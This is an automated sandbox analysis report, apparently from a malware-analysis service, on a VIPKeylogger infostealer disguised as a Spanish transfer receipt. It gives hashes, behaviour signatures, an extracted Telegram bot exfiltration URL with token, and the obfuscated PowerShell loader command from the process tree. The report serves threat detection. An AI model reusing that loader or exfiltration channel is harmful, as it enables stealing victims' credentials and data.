Analysis
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max time kernel
104s -
max time network
106s -
platform
windows10-2004_x64 -
resource
win10v2004-20250410-en -
resource tags
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submitted
14/04/2025, 15:52
General
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Target
justificante de transferencia - 7889893409.exe
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Size
1020KB
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MD5
4060ccad239038c4a6485563f6a28287
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SHA1
3a4d8088e1db32320dfaab3e0d11f053772973a0
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SHA256
60814232e8b491aa42c4d37ec185c738319beb104f65ee579f017a4750c04eea
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SHA512
30ef737394caa7ee10c3226d0f908c9054480845a45199103f7afe0abb6efc31877cc56b4e783d86393832a6051c135bff0f195b6c8bf3ea68e10e7f49c6c4ef
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SSDEEP
24576:ghXzjD/sw7fNgh3VANkbtfu/MK+sqVj50LLoborPpIgaQQhN+A:gpzjD/swfNgn6V+h70A0CZL
Malware Config
Extracted
vipkeylogger
https://api.telegram.org/bot7503700665:AAGL8MMCdDcG7tz-eC9bATTNxcDJaBzKQqA/sendMessage?chat_id=7618581100
Signatures
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VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
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Vipkeylogger family
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Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
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Blocklisted process makes network request 8 IoCs
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Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
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Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
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Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
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Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
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Drops file in Program Files directory 2 IoCs
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Browser Information Discovery 1 TTPs
Enumerate browser information.
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
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Suspicious behavior: EnumeratesProcesses 11 IoCs
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Suspicious behavior: MapViewOfSection 1 IoCs
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Suspicious use of AdjustPrivilegeToken 23 IoCs
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Suspicious use of WriteProcessMemory 7 IoCs
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outlook_office_path 1 IoCs
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outlook_win_path 1 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\justificante de transferencia - 7889893409.exe"C:\Users\Admin\AppData\Local\Temp\justificante de transferencia - 7889893409.exe"1⤵
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle 1 "$Preexistence237=GC -raw 'C:\Users\Admin\AppData\Local\Temp\antoni\Kiaugh90\spiralfjedrene\Lsebgers.Bre';$Virkningsfuld=$Preexistence237.SubString(3651,3);.$Virkningsfuld($Preexistence237)"2⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"3⤵
- Accesses Microsoft Outlook profiles
- Blocklisted process makes network request
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
420KB
MD5c950acbaf828e689d22b0a2e86852464
SHA1655ff05fd4bbbc4da80330b18f77004ba61fa5cf
SHA2568dca2eb16c0e35c9ec61fbc48f44264d64c5e9a308b57e0bf7d2aad430d6913d
SHA5125051b2deda54202d3c3ec6908e0a1e9a0ed8bbf18164bf2bdb1d366a82c693e9acaba6728de0cf1f35e8922b6358a72e905b44be0981a1247b71628e803546c5
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Filesize
54KB
MD5ca6b30d971f2b79383c80f5c12718e8f
SHA13f49b9675ce0d5df8f426436624507e5276b5a5a
SHA2564ac783e447712a8001e6abdc47c4e1b2bbc4a990a0af8c0dc60468762cfd89e0
SHA512c20c75bc3b1a8a52061072bbc2e7e0dc60980e04d7a78e96fd2552a1a56f023ae84675dd3599245a539a2219c262310d73c4e43530b7a1b7e8b46ceb49aa2707
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Filesize
18.3MB
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Filesize
296KB
-
Filesize
40KB
-
Filesize
584KB
-
Filesize
5.2MB
-
Filesize
320KB
-
Filesize
1.8MB
-
Filesize
624KB
-
Filesize
18.3MB
-
Filesize
120KB
-
Filesize
144KB
-
Filesize
120KB
-
Filesize
304KB
-
Filesize
600KB
-
Filesize
104KB
-
Filesize
136KB
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Filesize
5.6MB
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Filesize
6.5MB
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Filesize
7.7MB
-
Filesize
200KB
-
Filesize
304KB
-
Filesize
40KB
-
Filesize
7.7MB
-
Filesize
652KB
-
Filesize
7.7MB
-
Filesize
408KB
-
Filesize
68KB
-
Filesize
56KB
-
Filesize
80KB
-
Filesize
104KB
-
Filesize
32KB
-
Filesize
168KB
-
Filesize
3.3MB
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Filesize
4KB
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Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
33.8MB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
408KB
-
Filesize
7.7MB
-
Filesize
136KB
-
Filesize
7.7MB
-
Filesize
6.2MB
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Filesize
216KB
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Filesize
4KB
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Filesize
7.7MB
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Filesize
7.7MB